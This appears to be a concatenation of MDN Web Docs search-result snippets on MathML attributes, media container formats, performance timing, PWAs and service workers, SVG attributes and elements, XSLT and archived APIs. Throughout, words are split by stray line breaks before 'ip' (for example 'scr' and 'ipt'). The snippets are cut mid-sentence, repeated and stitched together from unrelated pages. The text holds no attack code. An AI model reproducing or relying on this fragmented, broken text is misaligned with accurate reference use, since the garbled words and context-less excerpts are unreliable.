MathML attribute reference - MathML
ts accept all attributes of all mathml presentation elements. see values for notes on values and units in mathml. the attributes background, color, fontfamily, fontsize, fontstyle, fontweight and xlink:href are deprecated. the xlink attributes on mathml elements: xlink:actuate, xlink:href, xlink:show and xlink:type are deprecated as well. name elements accepting attribute descr
iption accent <mo>, <mover>, <munderover> a boolean value specifying whether the operator should be treated as an accent. accentunder <munder>, <munderover> a boolean value specifying whether the operator should be treated as an accent. actiontype <maction> a string value specifying the action happening for this element. align <mtable> ...
...ss of the identifier, which varies in typography. maxsize <mo> the maximum size of the operator. unimplemented minlabelspacing <mtable> a length value specifing the minimum space between a label and the adjacent cell in the row. minsize <mo> the minimum size of the operator. movablelimits <mo> specifies whether attached under- and overscr
ipts move to sub- and superscr
ipt positions. notation <menclose> a list of notations, separated by white space, to apply to the child elements. numalign <mfrac> the alignment of the numerator over the fraction. open <mfenced> a string for the opening delimiter. unimplemented overflow <math> if an expression is too long to fit in the allow...
...ow borders. rowspacing <mtable> specifies the space between table rows. rowspan <mtd> a non-negative integer value that indicates on how many rows does the cell extend. rspace <mo> the amount of space after the operator. rquote <ms> the closing quote mark (depends on dir) to enclose the content. the default value is """. scr
iptlevel <mstyle> controls mostly the font-size. the higher the scr
iptlevel, the smaller the font size. scr
iptminsize <mstyle> specifies a minimum font size allowed due to changes in scr
iptlevel. scr
iptsizemult
iplier <mstyle> specifies the mult
iplier to be used to adjust font size due to changes in scr
iptlevel. selection <maction> the child element ...
...lemented shift <msgroup> unimplemented side <mtable> specifies the position where <mlabeledtr> label elements should be placed. unimplemented src <mglyph> the location of the image resource. unimplemented stackalign <mstack> stretchy <mo> specifies whether the operator stretches to the size of the adjacent element. subscr
iptshift <mmultiscr
ipts>, <msub>, <msubsup> the minimum space by which to shift the subscr
ipt below the baseline of the expression. supscr
iptshift <mmultiscr
ipts>, <msup>, <msubsup> the minimum space by which to shift the superscr
ipt above the baseline of the expression. symmetric <mo> if stretchy is true, this attribute specifies whether the operator should b...
<msub> - MathML
this attribute is deprecated and will be removed in the future. ...
... this attribute is deprecated and will be removed in the future. ...
... this attribute is deprecated and will be removed in the future. ...
... this attribute is deprecated and will be removed in the future. ...
<msup> - MathML
this attribute is deprecated and will be removed in the future. ...
... this attribute is deprecated and will be removed in the future. ...
... this attribute is deprecated and will be removed in the future. ...
... this attribute is deprecated and will be removed in the future. ...
Media container formats (file types) - Web media technologies
ormats (file types) to learn more about a specific container format, find it in this list and click through to the details, which include information about what the container is typically useful for, what codecs it supports, and which browsers support it, among other specifics. ...
... firefox safari aac yes1 flac yes mpeg-1 audio layer iii (mp3) yes opus yes [1] firefox support for h.264 relies upon the operating system's media infrastructure, so it is available as long as the os supports it. ogg the ogg container format is a free and open format maintained by the x
iph.org foundation. the ogg framework also defines patent unencumbered media data formats, such as the theora video codec and the vorbis and opus audio codecs. x
iph.org documents about the ogg format are available on their web site. while ogg has been around for a long time, it has never gained the wide support needed to make it a good first choice for a media container. you are typically better of...
...r when selecting the best container or containers to use for your media. the relative importance of each will depend on your needs, your license requirements, and the compatibility requirements of your target audience. guidelines the best choice also depends on what you'll be doing with the media. playing back media is a different thing than recording and/or editing it. if you're going to be man
ipulating the media data, using an uncompressed format can improve performance, while using a lossless compressed format at least prevent the accumulation of noise as compression artifacts are mult
iplied with each re-compression that occurs. if your target audience is likely to include users on mobile, especially on lower-end devices or on slow networks, consider providing a version of your media...
...mized for slow connections 3gp (ideally with mp4 fallback) compatibility with older devices/browsers quicktime (ideally with avi and/or mpeg-2 fallback) these suggestions make a number of assumptions. you should carefully consider the options before making a final decision, especially if you have a lot of media that will need to be encoded. maximizing compatibility with mult
iple containers to optimize compatibility, it's worth considering providing more than one version of media files, using the <source> element to specify each source within the <audio> or <video> element. for example, you can offer an ogg or webm video as the first choice, with a fallback in mp4 format. you could even choose to offer a retro-like quicktime or avi fallback for good measure. to do thi...
Navigation and resource timings - Web Performance
ssets or resources called in by that main document and the resources' requested resources. the general performance timings below have been deprecated in favor of the performance entry api, which provides for marking and measuring times along the navigation and resource loading process. while deprecated, they are supported in all browsers. performance timings the performancetiming api, a javascr
ipt api for measuring the loading performance of the requested page, is deprecated but supported in all browsers. it has been replaced with the performancenavigationtiming api. the performance timing api provided read only times, in milliseconds(ms), describing at what time each point in the page loading process was reached. as displayed in the image below, the navigation process goes from navigati...
...e needed redirects, is not of the same origin, the value returned is 0. dominteractive when the parser finished its work on the main document, that is when its document.readystate changes to 'interactive' and the corresponding readystatechange event is thrown. domcontentloadedeventstart right before the parser sent the domcontentloaded event, that is right after all the scr
ipts that need to be executed right after parsing have been executed. domcontentloadedeventend right after all the scr
ipts that need to be executed as soon as possible, in order or not, have been executed. domcomplete when the parser finished its work on the main document, that is when its document.readystate changes to 'complete' and the corresponding readystatechange event ...
...ookup, tcp handshake, and ssl negotiation, before the user agent makes the actual request and the servers return the requested assets. the browser then parses the content received, builds the dom, cssom, accessibility, and render trees, eventually rendering the page. once the user agent stops parsing the document, the user agent sets the document readiness to interactive. if there are deferred scr
ipts needing to be parsed, it will do so, then fire the domcontentloaded, after which the readiness is set to complete. the document can now handle post-load tasks, after which point the document is marked as completely loaded. let navigationtimings = performance.getentriesbytype('navigation'); the performance.getentriesbytype('navigation')a returns an array of performanceentry objects for the nav...
.... note that this is the size for this single document alone: for this resource alone, not for all the resources combined. however, the duration, load events and dom related timings have to do with the entire navigation, not this single asset. client-side web applications may seem faster than this one with transfer sizes under 10000 and decoded body sizes under 30000, but that doesn't mean javascr
ipt, css, or media assets aren't adding bloat. checking compression ratios is important but ensure to also check duration and the time between when the domcontentloaded event ended and when the dom is complete, as running javascr
ipt on the main thread for long periods of time can lead to a non-responsive user interface. request time the api doesn't provide every measurement you may desire. for exa...
Add to Home screen - Progressive web apps (PWAs)
lable for displaying on the home screen. chrome additionally requires the app to have a service worker registered (e.g., so it can function when offline). manifest the web manifest is written in standard json format and should be placed somewhere inside your app directory (in the root is probably best) with the name somefilename.webmanifest (we've chosen manifest.webmanifest). it contains mult
iple fields that define certain information about the web app and how it should behave. note: the .webmanifest extension is specified in the media type registration section of the specification, but generally browsers will support manifests with other appropriate extensions, e.g. .json. the fields needed for a2hs are as follows: background_color: specifies a background color to be used in som...
... the added-to-home screen app is launched. note that this has to be a relative url pointing to the site index, relative to the url of the manifest. also, be aware that chrome requires this before it will display the install banner, whereas firefox doesn't require it for showing the home-with-a-plus icon. the manifest for our sample app looks like this: { "background_color": "purple", "descr
iption": "shows random fox pictures. hey, at least it isn't cats.", "display": "fullscreen", "icons": [ { "src": "icon/fox-icon.png", "sizes": "192x192", "type": "image/png" } ], "name": "awesome fox pictures", "short_name": "foxes", "start_url": "/pwa-examples/a2hs/index.html" } appropriate icon as shown in the above manifest listing, we are including a 192 x...
...first of all, we declare a deferredprompt variable (which we'll explain later on), get a reference to our install button, and set it to display: none initially: let deferredprompt; const addbtn = document.queryselector('.add-button'); addbtn.style.display = 'none'; we hide the but...
...s to do the installation -- this isn't made available automatically on desktop apps, and the installation needs to be triggered by a user gesture: <button class="add-button">add to home screen</button> we then gave it some simple styling: .add-button { position: absolute; top: 1px; left: 1px; } javascr
ipt for handling the install at the bottom of our index.js file, we added some javascr
ipt to handle the installation. first of all, we declare a deferredprompt variable (which we'll explain later on), get a reference to our install button, and set it to display: none initially: let deferredprompt; const addbtn = document.queryselector('.add-button'); addbtn.style.display = 'none'; we hide the button initially because the pwa will not be available for install until it follows the a2...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
we examine how to add offline functionality. service workers explained service workers are a virtual proxy between the browser and the network. they finally fix issues that front-end developers have struggled with for years -- most notably how to properly cache the assets of a website and make them available when the user's device is offline. they run on a separate thread from the main javascr
ipt code of our page, and don't have any access to the dom structure. this introduces a different approach from traditional web programming -- the api is non-blocking, and can send and receive communication between different contexts. you are able to give a service worker something to work on, and receive the result whenever it is ready using a promise-based approach. they can do a lot more than "j...
...n a cache with a given name, then add all the files our app uses to the cache, so they are available next time it loads (identified by request url). activation there is also an activate event, which is used in the same way as install. this event is usually used to delete any files that are no longer necessary and clean up after the app in general. we don't need to do that in our app, so we'll sk
ip it. responding to fetches we also have a fetch event at our disposal, which fires every time an http request is fired off from our app. this is very useful, as it allows us to intercept requests and respond to them with custom responses. here is a simple usage example: self.addeventlistener('fetch', (e) => { console.log('[service worker] fetched resource '+e.request.url); }); the response...
... every time an http request is fired off from our app. this is very useful, as it allows us to intercept requests and respond to them with custom responses. here is a simple usage example: self.addeventlistener('fetch', (e) => { console.log('[service worker] fetched resource '+e.request.url); }); the response can be anything we want: the requested file, its cached copy, or a piece of javascr
ipt code that will do something specific -- the possibilities are endless. in our example app, we serve content from the cache instead of the network as long as the resource is actually in the cache. we do this whether the app is online or offline. if the file is not in the cache, the app adds it there first before then serving it: self.addeventlistener('fetch', (e) => { e.respondwith( cache...
...til( caches.open('js13kpwa-v2').then((cache) => { return cache.addall(contenttocache); }) ); }); a new service worker is installed in the background, and the previous one (v1) works correctly up until there are no pages using it -- the new service worker is then activated and takes over management of the page from the old one. ...
Web technology reference
obviously, browsers do not display them, since they are used to interpret the content of the page. ...
...splay them, since they are used to interpret the content of the page. ...
...hey are used to interpret the content of the page. ...
...uide | element reference | reference css -- styling the web cascading style sheets are used to describe the appearance of web content. ...
dx - SVG: Scalable Vector Graphics
>svg</text> <!-- the same text with a shift along the x-axis --> <text dx="50%" x="10%" y="50%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used. for <altglyph>, if it contains a single value, dx defines a shift along the x-axis for all alternate glyph. if there are mult
iple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphs, the remaining glyphs use a value of 0. if there are more values than glyphs, extra values are ignored. value list of <length> default value none animatable yes fedropshadow for <fedropshadow>, dx defines the x o...
... animatable yes glyphref warning: as of svg2 <glyphref> is deprecated and shouldn't be used. for <glyphref>, dx defines the x offset of the glyph, in the font metric system. value <number> default value 0 animatable yes text for <text>, if it contains a single value, dx defines a shift along the x-axis for all glyphs. if there are mult
iple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphs, the remaining glyphs use a value of 0. if there are more values than glyphs, extra values are ignored. value list of <length> default value none animatable yes example html,body,svg { height:100% } <svg viewb...
... x="10%" y="25%">svg</text> <text dx="0 10%" x="10%" y="50%">svg</text> <text dx="0 10% 20%" x="10%" y="75%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used. for <tref>, if it contains a single value, dx defines a shift along the x-axis for all glyphs. if there are mult
iple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. value list of <length> default value none animatable yes tspan for <tspan>, if it contains a single value...
... to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. value list of <length> default value none animatable yes tspan for <tspan>, if it contains a single value, dx defines a shift along the x-axis for all alternate glyph. if there are mult
iple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphs, the remaining glyphs use a value of 0. if there are more values than glyphs, extra values are ignored. value list of <length> default value none animatable yes specifications specification status ...
dy - SVG: Scalable Vector Graphics
>svg</text> <!-- the same text with a shift along the y-axis --> <text dy="50%" x="10%" y="30%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used. for <altglyph>, if it contains a single value, dy defines a shift along the y-axis for all alternate glyph. if there are mult
iple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. value list of <length> default value none animatable yes fedropshadow for <fedropshadow>, dy defines the ...
... animatable yes glyphref warning: as of svg2 <glyphref> is deprecated and shouldn't be used. for <glyphref>, dy defines the y offset of the glyph, in the font metric system. value <number> default value 0 animatable yes text for <text>, if it contains a single value, dy defines a shift along the y-axis for all glyphs. if there are mult
iple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. value list of <length> default value none animatable yes example html,body,svg { height:100% } <svg vi...
...ext dy="20" x="10" y="30">svg</text> <text dy="0 10" x="50" y="30">svg</text> <text dy="0 10 20" x="90" y="30">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used. for <tref>, if it contains a single value, dy defines a shift along the y-axis for all glyphs. if there are mult
iple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. value list of <length> default value none animatable yes tspan for <tspan>, if it contains a single value...
... to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. value list of <length> default value none animatable yes tspan for <tspan>, if it contains a single value, dy defines a shift along the y-axis for all alternate glyph. if there are mult
iple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. value list of <length> default value none animatable yes specifications specification status ...
xlink:href - SVG: Scalable Vector Graphics
text of each element using it. note: svg 2 removed the need for the xlink namespace, so instead of xlink:href you should use href. 22 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <scr
ipt>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the location of the referenced object. value <iri> default value none animatable ye...
...is animation and which therefore will be modified over time. the target element must be part of the current svg document fragment. the value must point to exactly one target element which is capable of being the target of the given animation. if the xlink:href attribute is not provided, the target element will be the immediate parent element of the current animation element. refer to the descr
iptions of the individual animation elements for any restrictions on what types of elements can be targets of particular types of animations. value <iri> default value none animatable no color-profile for <color-profile>, xlink:href defines the location of an icc profile resource. value <iri> default value none animatable...
...), then this element inherits the gradient stop from the referenced element. inheritance can be indirect to an arbitrary level; thus, if the referenced element inherits attribute or gradient stops due to its own xlink:href attribute, then the current element can inherit those attributes or gradient stops. value <iri> default value none animatable yes scr
ipt for <scr
ipt>, xlink:href defines a reference to an external resource containing the scr
ipt code. value <iri> default value none animatable no textpath for <textpath>, xlink:href defines a reference to the <path> element onto which the glyphs will be rendered. value <iri> default value none animatable yes us...
...on of 'href for <pattern>' in that specification. recommendation defines href for the <pattern> element. scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <radialgradient>' in that specification. recommendation defines href for the <radialgradient> element. scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <scr
ipt>' in that specification. recommendation defines href for the <scr
ipt> element. scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <textpath>' in that specification. recommendation defines href for the <textpath> element. scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <use>' in that specification. recomme...
<g> - SVG: Scalable Vector Graphics
the <g> svg element is a container used to group other svg elements. transformations applied to the <g> element are performed on its child elements, and its attributes are inherited by its children. it can also group mult
iple elements to be referenced later with the <use> element. html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- using g to inherit presentation attributes --> <g fill="white" stroke="green" stroke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextens...
... cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ipp...
...a-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<g>' in that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<g>' in that specification. recommendation initial definition ...
<marker> - SVG: Scalable Vector Graphics
ble: yes viewbox this attribute defines the bound of the svg viewport for the current svg fragment. ...
...iewbox this attribute defines the bound of the svg viewport for the current svg fragment. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile...
..., aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment svg markersthe definition of '<marker>' in that specification. working draft scalable vector graphics (svg) 2the definition of '<marker>' in that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of...
<metadata> - SVG: Scalable Vector Graphics
the <metadata> svg element adds metadata to svg content. metadata is structured information about data. the contents of <metadata> should be elements from other xml namespaces such as rdf, foaf, etc. usage context categoriesdescr
iptive elementpermitted contentany elements or character data attributes global attributes core attributes global event attributes specific attributes none dom interface this element implements the svgmetadataelement interface. ...
...tributes none dom interface this element implements the svgmetadataelement interface. ...
... xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <metadata> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:connect="http://www.w3.org/1999/08/29-svg-connections-in-rdf#"> <rdf:descr
iption about="#cablea"> <connect:ends rdf:resource="#socket1"/> <connect:ends rdf:resource="#computera"/> </rdf:descr
iption> <rdf:descr
iption about="#cableb"> <connect:ends rdf:resource="#socket2"/> <connect:ends rdf:resource="#computerb"/> </rdf:descr
iption> <rdf:descr
iption about="#cablen"> <connect:ends rdf:resource="#socket5"/> <connect:ends>everything</connect:ends> </rdf:descr
iption> <rdf:descr
iption about="#hub"> <connect:ends rdf:resourc...
...used by hub ...
Getting started - SVG: Scalable Vector Graphics
tml5 specification. the svg file can be referenced with an object element: <object data="image.svg" type="image/svg+xml" /> likewise an iframe element can be used: <iframe src="image.svg"></iframe> an img element can theoretically be used too. however, this technique doesn't work in firefox before 4.0. finally, svg can be created dynamically with javascr
ipt and injected into the html dom. with this method, replacement technologies can be implemented for browsers which normally can't process svg. see this dedicated article which deals with the topic in-depth. how svg handles sizes and units will be explained on the next page. svg file types svg files come in two flavors. normal svg files are simple text files containing svg markup. the reco...
... and units will be explained on the next page. svg file types svg files come in two flavors. normal svg files are simple text files containing svg markup. the recommended filename extension for these files is ".svg" (all lowercase). ...
...arkup. the recommended filename extension for these files is ".svg" (all lowercase). due to the potentially massive size svg files can reach when used for some applications (e.g., geographical applications), the svg specification also allows for gz
ip-compressed svg files. the recommended filename extension for these files is ".svgz" (all lowercase). unfortunately, it is very problematic to get gz
ip-compressed svg files to work reliably across all svg capable user agents when served from a microsoft iis server, and firefox cannot load gz
ip-compressed svg from the local computer. avoid gz
ip-compressed svg except when you are publishing to a webserver that you know will serve it correctly (see below). a word on webservers now that you have an idea of how to create basic svg files, the next s...
...sed svg except when you are publishing to a webserver that you know will serve it correctly (see below). a word on webservers now that you have an idea of how to create basic svg files, the next stage is to upload them to a webserver. there are some gotchas at this stage though. for normal svg files, servers should send the http headers: content-type: image/svg+xml vary: accept-encoding for gz
ip-compressed svg files, servers should send the http headers: content-type: image/svg+xml content-encoding: gz
ip vary: accept-encoding you can check that your server is sending the correct http headers with your svg files by using the network monitor panel or a site such as websniffer.cc. submit the url of one of your svg files and look at the http response headers. if you find that your server i...
SVG fonts - SVG: Scalable Vector Graphics
svg fonts are currently supported only in safari and android browser. ...
... svg fonts are currently supported only in safari and android browser. ...
... <font-face> element is the svg equivalent of the css @font-face declaration. it defines basic properties of the final font such as weight, style, etc. in the example above the first and most important to be defined is font-family, the value of which can then be referenced in css and svg font-family properties. the font-weight and font-style attributes have the same purpose as the equivalent descr
iptors in css. all following attributes are rendering instructions for the font layout engine, for example, how much of the glyphs' overall heights are ascenders. its child, the <font-face-src> element, corresponds to css' src descr
iptor in @font-face declarations. you can point to external sources for font declarations by means of its children <font-face-name> and <font-face-uri>. the above exampl...
...med "super sans bold", it should use this instead. following <font-face-src> is a <missing-glyph> element. this defines what should be displayed if a certain glyph is not found in the font and if there are no fallback mechanisms. it also shows how glyphs are created: by simply adding any graphical svg content inside. you can use literally any other svg elements in here, even <filter>, <a> or <scr
ipt>. for simple glyphs, however, you can simply add a d attribute -- this defines a shape for the glyph exactly like how standard svg paths work. the actual glyphs are then defined by <glyph> elements. the most important attribute is unicode. it defines the unicode codepoint represented by this glyph. if you also specify the lang attribute on a glyph, you can further restrict it to certain languag...
SVG Tutorial - SVG: Scalable Vector Graphics
internet explorer and other browsers. this tutorial aims to explain the internals of svg and is packed with technical details. if you just want to draw beautiful images, you might find more useful resources at inkscape's documentation page. another good introduction to svg is provided by the w3c's svg primer. the tutorial is in an early stage of development. ...
... good introduction to svg is provided by the w3c's svg primer. the tutorial is in an early stage of development. if you're able, please help out by ch
ipping in and writing a paragraph or two. extra points for writing a whole page! ...
... points for writing a whole page! ...
...hole page! ...
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
however when using an <?xml-stylesheet?> processing instruction (pi) there used to be no way to provide parameters. to solve this two new pis are implemented in firefox 2 (see supported versions below for details), <?xslt-param?> and <?xslt-param-namespace?>. both pis can contain "pseudo attributes" the same way that the xml-stylesheet pi does. the following document passes the two parameters "color" and "size" to the stylesheet "style.xsl". ...
...udo attributes" the same way that the xml-stylesheet pi does. the following document passes the two parameters "color" and "size" to the stylesheet "style.xsl". <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> note that these pis have no effect when transformation is done using the xsltprocessor object in javascr
ipt. processing instructions the attributes in the xslt-param and xslt-param-namespace pis are parsed using the rules defined in xml-stylesheet. any unrecognized attributes must be ignored. parsing of any attribute must not fail due to the presence of an unrecognized attribute as long as that attribute follows the syntax in xml-stylesheet. both the xslt-param and the xslt-param-namespace pis must...
...ribute must not fail due to the presence of an unrecognized attribute as long as that attribute follows the syntax in xml-stylesheet. both the xslt-param and the xslt-param-namespace pis must appear in the prolog of the document, i.e. before the first element tag. all pis in the prolog must be honored, both ones occurring before and onces occurring after any xml-stylesheet pis. if there are mult
iple xml-stylesheet pis the parameters apply to all stylesheets as a consequence of that all stylesheets are imported into a single stylesheet per the xslt spec.reference? note that mult
iple xml-stylesheet xslt pis are not supported in firefox currently. xslt-param the xslt-param pi supports 4 attributes: name the local-name part of the parameter name. no syntax checking is done on the attrib...
...the xslt-param-namespace uses two attributes: prefix the prefix that is mapped. namespace the namespace the prefix maps to. an xslt-param-namespace pi affects the expression in the select attribute for all xslt-params following the pi. this applies even if there are other nodes such as comments or other pis between the xslt-param-namespace and xslt-param pis. it is not an error for mult
iple pis to use the same prefix, every new pi just changes what namespace the prefix maps to. if prefix is missing, empty, or equals an invalid ncname, the pi is ignored. if namespace is missing, the pi is ignored. if namespace is empty, the prefix mapping is removed. examples set the parameter 'books' to a nodeset containing all <book> elements in the 'http://www.example.org/mynamespace' namesp...
An Overview - XSLT: Extensible Stylesheet Language Transformations
an xslt stylesheet is an xml document. unlike css, which has its own specialized syntax, an xslt stylesheet is an xml document, which must conform to all xml rules, including well-formedness. ...
...rformed on trees, not documents. the xslt transformation engine, called the processor, does not work directly on documents. before transformation can take place, the primary xml document(s) and the stylesheet document(s) must be run through a parser, which creates an abstract representation of the structure of the document in memory. this representation, called the tree, is what is actually man
ipulated by the processor. the tree is an abstract datatype, a conceptual model which can be implemented in various ways depending on the parser and the processor. :netscape's uses a structure similar to the w3c dom as its tree structure, but others are possible. the only requirements concern the disposition of objects in the tree, their properties, and their relationsh
ips. the tree consists of a ...
... which type of nodes can occur where: for example, text nodes can have no children. the result of the processor's action is also a tree. netscape uses this tree to render the contents in the browser window. xslt is a high-level declarative language. in essence, an xslt stylesheet is a set of rules, called templates, which declare that any node that matches this specific pattern should be man
ipulated in this specific way and end up in this specific position in the result tree. the particulars of how this is to be accomplished are left up to the processor. because the order of execution of the stylesheet cannot be guaranteed, xslt does not support any functionality that produces side-effects. in this it is like lisp or scheme. locations on the tree are specified using xpath, another w3c...
...path, which also has uses outside the xslt context. as its name implies, xpath defines a "path" the processor must take through the tree to arrive at the desired node. this path consists of xpath-specific expressions to be evaluated, expressions which may include a number of conditions to be matched, a way of associating nodes, and/or an indication of directionality within the tree. a fuller descr
iption of the parts of xpath most commonly used in xslt follows in the reference section. potential conflicts in template matching are resolved by using a set of cascading precedence rules. in general, a more specific template rule takes precedence over a less specific one and, other things being equal, a template rule that appears later in the document takes precedence over one that appears earli...
Web technology for developers
how-to content to help you actually use web technologies to do what you want or need to do. tutorials for web developers a list of tutorials to take you step-by-step through learning apis, technologies, or broad topic areas. developing web applications documentation for web application developers; web apps are true write-once, deploy anywhere apps for mobile, desktop, and firefox os. code sn
ippets this is a quick list of useful code sn
ippets (small code samples) available for developers of extensions for the various mozilla applications. many of these samples can also be used in xulrunner applications, as well as in actual mozilla code itself. view all... web technology references web apis reference material for each of the individual apis that comprise the web's powerful scr...
... html hypertext markup language is the language used to describe and define the content of a web page. css cascading style sheets are used to describe the appearance of web content. ...
...hml the mathematical markup language makes it possible to display complex mathematical equations and syntax. temporary the stuff below here is temporary to help keep track of things while organization work is ongoing. pay it no mind. ...
...kup language makes it possible to display complex mathematical equations and syntax. temporary the stuff below here is temporary to help keep track of things while organization work is ongoing. pay it no mind. ...
Navigator.mozNotification - Archive of obsolete content
otification objects, which are used to display desktop notification alerts to the user. currently, these are only supported on firefox mobile and firefox os. see displaying notifications for an example. the support for this property as been dropped in favor of the standard notification constructor. ...
... iconurl optional a url identifying the image to display in the notification. return value a new notification object. ...
... iconurl optional a url identifying the image to display in the notification. return value a new notification object. ...
Private Properties - Archive of obsolete content
people have come up with several ways to emulate private properties using existing language features. this article discusses two common techniques: one using prefixes, the other closures. both approaches have drawbacks, they are either not restrictive enough or too restrictive, respectively. a better alternative is to use weakmap objects, which solve both these problems. however, note that weakmaps might not be supported by all implementations yet. ...
...strictive: since there is no way to access variables in one closure from within another closure, there is no way for objects of the same class to access each other's private properties. using weakmaps the techniques above are either not restrictive enough (prefixes) or too restrictive (closures), however the recent introduction of weakmaps provides a solution. weakmaps were introduced to javascr
ipt in ecmascr
ipt 2015 and have recently been implemented in spidermonkey. before explaining how weakmaps work, the following looks at how ordinary objects can be used as hash maps, by creating a simple image cache: let images = {}; function getimage(name) { let image = images[name]; if (!image) { image = loadimage(name); images[name] = image; } return image; } no...
...e of point and its internal namespace. keeping the namespace hidden from all functions, except members of point, effectively implements private properties. moreover, because members of point have a reference to the internal namespace, they can access private properties on other instances of point. namespaces in the add-on sdk the add-on sdk is built on top of xpcom, the interface between javascr
ipt and c++ code. since xpcom allows the user to do virtually anything, security is very important. among other things, add-ons should not be able to access variables that are supposed to be private. the sdk uses namespaces internally to ensure this. as always with code that is heavily reused, the sdk defines a helper function to create namespaces. it's defined in the module "core/namespace", and it...
Working with Events - Archive of obsolete content
